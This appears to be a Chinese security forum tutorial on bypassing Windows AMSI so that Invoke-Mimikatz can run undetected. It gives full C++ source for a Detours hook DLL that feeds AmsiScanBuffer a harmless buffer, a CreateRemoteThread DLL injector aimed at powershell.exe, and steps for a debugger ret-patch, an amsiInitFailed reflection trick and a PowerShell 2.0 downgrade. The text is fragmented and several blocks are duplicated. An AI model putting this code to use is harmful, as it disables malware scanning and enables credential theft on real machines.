AMSI,全称是Antimalware Scan Interface,即:反恶意软件扫描接口。是微软在 Windows 10、Windows server 2016及后续版本中引入的安全机制,目的是为了增强对动态脚本和内存攻击的检测能力。AMSI提供标准化的接口,允许应用程序(如PowerShell、VBScript、Office宏等)在执行代码前,将内容提交给反恶意软件引擎(默认为Windows Defender)进行实时扫描,从而拦截恶意行为。
(1)Win32 API
(2)Com 接口
AMSI 功能目前已经集成到 Windows 的这些组件中:
(1)编写hook AmsiScanBuffer的DLL。
(2)DLL注入代码。
(3)打开powershell,运行进程注入代码,将AmsiHookDll.dll注入到powershell.exe中。 (4)运行Process Explorer,看到AmsiHookDll.dll已经成功注入到powershell.exe中。 (5)powershell中执行恶意内容:Invoke-Mimikatz,仍然被AMSI拦截,绕过失败,大概是因为新版本的AMSI引入了更强的内存保护机制,会扫描目标进程的内存,检测是否存在被篡改的 AMSI 函数或异常行为。
(1)打开powershell进程,目前输入Invoke-Mimikatz命令会被AMSI拦截。 (2)打开x64dbg调试器,附加powershell进程,定位amsi.dll中的AmsiScanBuffer函数。 (3)跳转到AmsiScanBuffer函数的入口地址,修改指令为ret,使程序运行到AmsiScanBuffer时直接返回调用者。 (4)再次在powershell中输入Invoke-Mimikatz命令,发现已绕过AMSI检测。
(1)将类名和字段名拆分成两部分,通过数字编码隐藏原始字符串。
(2)解码类名:System.Management.Automation.AmsiUtils
(3)解码字段名:amsiInitFailed
(4)反射修改AMSI状态
(5)在powershell中执行脚本,绕过AMSI。
低版本的powershell(2.0)没有AMSI,所以在powershell2.0上执行恶意内容不会被AMSI检测 通过降低powershell的当前运行版本来绕过AMSI,由于版本较低,可能存在部分攻击脚本无法在powershell 2.0上运行的情况
(1)查看当前运行的powershell版本:$PSVersionTable (2)执行命令将powershell运行版本改为2.0,再次执行恶意内容,发现已绕过AMSI检测。
通过分块、重组敏感字符串/代码等,绕过AMSI检测。
AmsiCloseSession 关闭由 AmsiOpenSession 打开的会话
AmsiInitialize 初始化 AMSI API
AmsiNotifyOperation 向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession 打开一个会话,在该会话中可以关联多个扫描请求
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容
AmsiScanBuffer 扫描缓冲区内容寻找恶意软件
AmsiScanString 扫描字符串中的恶意软件
AmsiUninitialize 删除最初由 AmsiInitialize 打开的 AMSI API 实例
AmsiCloseSession 关闭由 AmsiOpenSession 打开的会话
AmsiInitialize 初始化 AMSI API
AmsiNotifyOperation 向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession 打开一个会话,在该会话中可以关联多个扫描请求
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容
AmsiScanBuffer 扫描缓冲区内容寻找恶意软件
AmsiScanString 扫描字符串中的恶意软件
AmsiUninitialize 删除最初由 AmsiInitialize 打开的 AMSI API 实例
IAmsiStream 接口 表示要扫描的流
IAmsiStream::GetAttribute 方法 流中返回请求的属性
IAmsiStream::Read 方法 请求要读取的缓冲区内容
IAntimalware 接口 表示反恶意软件产品
IAntimalware::CloseSession 方法 关闭会话
IAntimalware::Scan 方法 扫描内容流
IAntimalware2 接口 表示反恶意软件产品
IAntimalware2::Notify 方法 向反恶意软件产品发送任意操作的通知
IAntimalwareProvider 接口 表示反恶意软件产品的提供商
IAntimalwareProvider::CloseSession 方法 关闭会话
IAntimalwareProvider::DisplayName 方法 要显示的反恶意软件提供程序的名称
IAntimalwareProvider::Scan 方法 扫描内容流
IAntimalwareProvider2 接口 表示反恶意软件产品的提供商
IAntimalwareProvider2::Notify 方法 向反恶意软件提供程序发送任意操作的通知
IAmsiStream 接口 表示要扫描的流
IAmsiStream::GetAttribute 方法 流中返回请求的属性
IAmsiStream::Read 方法 请求要读取的缓冲区内容
IAntimalware 接口 表示反恶意软件产品
IAntimalware::CloseSession 方法 关闭会话
IAntimalware::Scan 方法 扫描内容流
IAntimalware2 接口 表示反恶意软件产品
IAntimalware2::Notify 方法 向反恶意软件产品发送任意操作的通知
IAntimalwareProvider 接口 表示反恶意软件产品的提供商
IAntimalwareProvider::CloseSession 方法 关闭会话
IAntimalwareProvider::DisplayName 方法 要显示的反恶意软件提供程序的名称
IAntimalwareProvider::Scan 方法 扫描内容流
IAntimalwareProvider2 接口 表示反恶意软件产品的提供商
IAntimalwareProvider2::Notify 方法 向反恶意软件提供程序发送任意操作的通知
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
/
/
AMSI 上下文句柄
PVOID
buffer
,
/
/
待扫描数据指针
ULONG length,
/
/
数据长度
LPCWSTR contentName,
/
/
内容标识(如脚本名)
HAMSISESSION amsiSession,
/
/
会话句柄(可选)
AMSI_RESULT
*
result
/
/
输出扫描结果
);
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
/
/
AMSI 上下文句柄
PVOID
buffer
,
/
/
待扫描数据指针
ULONG length,
/
/
数据长度
LPCWSTR contentName,
/
/
内容标识(如脚本名)
HAMSISESSION amsiSession,
/
/
会话句柄(可选)
AMSI_RESULT
*
result
/
/
输出扫描结果
);
/
/
保存原始的 AmsiScanBuffer 函数地址,以便在自定义函数中调用
static HRESULT(WINAPI
*
OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID
buffer
, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT
*
result)
=
AmsiScanBuffer;
/
/
自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID
buffer
, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT
*
result) {
std::cout <<
"[+] AmsiScanBuffer called"
<< std::endl;
std::cout <<
"[+] Buffer "
<<
buffer
<< std::endl;
std::cout <<
"[+] Buffer Length "
<< length << std::endl;
/
/
将传入的
buffer
(实际扫描内容)替换为 SAFE(无害字符串)
/
/
调用原始 AmsiScanBuffer,但传入的是篡改后的内容,从而绕过检测
return
OriginalAmsiScanBuffer(amsiContext, (BYTE
*
)SAFE, length, contentName, amsiSession, result);
}
/
/
DLL 入口点
BOOL
APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if
(DetourIsHelperProcess()) {
return
TRUE;
}
/
/
初始化hook
if
(dwReason
=
=
DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((
FILE
*
*
)stdout,
"CONOUT$"
,
"w"
, stdout);
DetourRestoreAfterWith();
LONG
error
=
DetourTransactionBegin();
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] Transaction Begin Failed: "
<< error << std::endl;
return
FALSE;
}
error
=
DetourUpdateThread(GetCurrentThread());
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] UpdateThread Failed: "
<< error << std::endl;
DetourTransactionAbort();
return
FALSE;
}
/
/
在 DLL 加载时,使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
error
=
DetourTransactionCommit();
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] Commit Failed: "
<< error << std::endl;
return
FALSE;
}
else
{
std::cout <<
"[+] Detour Success!"
<< std::endl;
}
}
/
/
DLL 卸载,恢复原始函数
else
if
(dwReason
=
=
DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return
TRUE;
}
/
/
保存原始的 AmsiScanBuffer 函数地址,以便在自定义函数中调用
static HRESULT(WINAPI
*
OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID
buffer
, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT
*
result)
=
AmsiScanBuffer;
/
/
自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID
buffer
, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT
*
result) {
std::cout <<
"[+] AmsiScanBuffer called"
<< std::endl;
std::cout <<
"[+] Buffer "
<<
buffer
<< std::endl;
std::cout <<
"[+] Buffer Length "
<< length << std::endl;
/
/
将传入的
buffer
(实际扫描内容)替换为 SAFE(无害字符串)
/
/
调用原始 AmsiScanBuffer,但传入的是篡改后的内容,从而绕过检测
return
OriginalAmsiScanBuffer(amsiContext, (BYTE
*
)SAFE, length, contentName, amsiSession, result);
}
/
/
DLL 入口点
BOOL
APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if
(DetourIsHelperProcess()) {
return
TRUE;
}
/
/
初始化hook
if
(dwReason
=
=
DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((
FILE
*
*
)stdout,
"CONOUT$"
,
"w"
, stdout);
DetourRestoreAfterWith();
LONG
error
=
DetourTransactionBegin();
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] Transaction Begin Failed: "
<< error << std::endl;
return
FALSE;
}
error
=
DetourUpdateThread(GetCurrentThread());
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] UpdateThread Failed: "
<< error << std::endl;
DetourTransactionAbort();
return
FALSE;
}
/
/
在 DLL 加载时,使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
error
=
DetourTransactionCommit();
if
(error !
=
NO_ERROR) {
std::cerr <<
"[!] Commit Failed: "
<< error << std::endl;
return
FALSE;
}
else
{
std::cout <<
"[+] Detour Success!"
<< std::endl;
}
}
/
/
DLL 卸载,恢复原始函数
else
if
(dwReason
=
=
DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return
TRUE;
}
/
/
注入DLL
BOOL
InjectDll(DWORD procID, const char
*
dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if
(procID
=
=
0
) {
return
FALSE;
}
/
/
打开目标进程,获取进程句柄
HANDLE hProc
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if
(hProc
=
=
INVALID_HANDLE_VALUE) {
return
FALSE;
}
/
/
获取DLL文件的完整路径
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout <<
"[+] Acquired full DLL path: "
<< fullDllName << std::endl;
/
/
获取 LoadLibraryA 函数的地址,用于在目标进程中加载 DLL
loadLibrary
=
(LPVOID)GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryA"
);
/
/
在目标进程中分配内存,用于存储 DLL 路径
remoteString
=
VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/
/
将 DLL 路径写入目标进程的内存
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
/
/
在目标进程中创建远程线程,调用 LoadLibraryA 加载 DLL
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, remoteString, NULL, NULL);
/
/
关闭目标进程句柄
CloseHandle(hProc);
return
TRUE;
}
/
/
通过进程名获取进程PID
DWORD GetProcIDByName(const char
*
procName) {
HANDLE hSnap;
BOOL
done;
PROCESSENTRY32 procEntry;
ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize
=
sizeof(PROCESSENTRY32);
hSnap
=
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
0
);
/
/
获取系统进程快照
done
=
Process32First(hSnap, &procEntry);
/
/
初始化 PROCESSENTRY32 结构体,用于存储进程信息
/
/
遍历进程快照,查找与 procName 匹配的进程,如果找到匹配的进程,返回其 PID;否则返回
0
do {
char szExeFile[MAX_PATH];
WideCharToMultiByte(CP_ACP,
0
, procEntry.szExeFile,
-
1
, szExeFile, MAX_PATH, NULL, NULL);
if
(_strnicmp(szExeFile, procName, strlen(procName))
=
=
0
) {
return
procEntry.th32ProcessID;
}
}
while
(Process32Next(hSnap, &procEntry));
return
0
;
}
int
main() {
const char
*
processName
=
"powershell.exe"
;
const char
*
dllName
=
"C:\\Users\\Administrator\\Desktop\\AmsiHookDll.dll"
;
DWORD procID
=
GetProcIDByName(processName);
if
(procID
=
=
0
) {
std::cout <<
"[-] Could not find process with name: "
<< processName << std::endl;
return
1
;
}
std::cout <<
"[+] Got process ID for "
<< processName <<
" PID: "
<< procID << std::endl;
if
(InjectDll(procID, dllName)) {
std::cout <<
"DLL injected successfully!"
<< std::endl;
}
else
{
std::cout <<
"DLL injection failed"
<< std::endl;
}
return
0
;
}
/
/
注入DLL
BOOL
InjectDll(DWORD procID, const char
*
dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if
(procID
=
=
0
) {
return
FALSE;
}
/
/
打开目标进程,获取进程句柄
HANDLE hProc
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课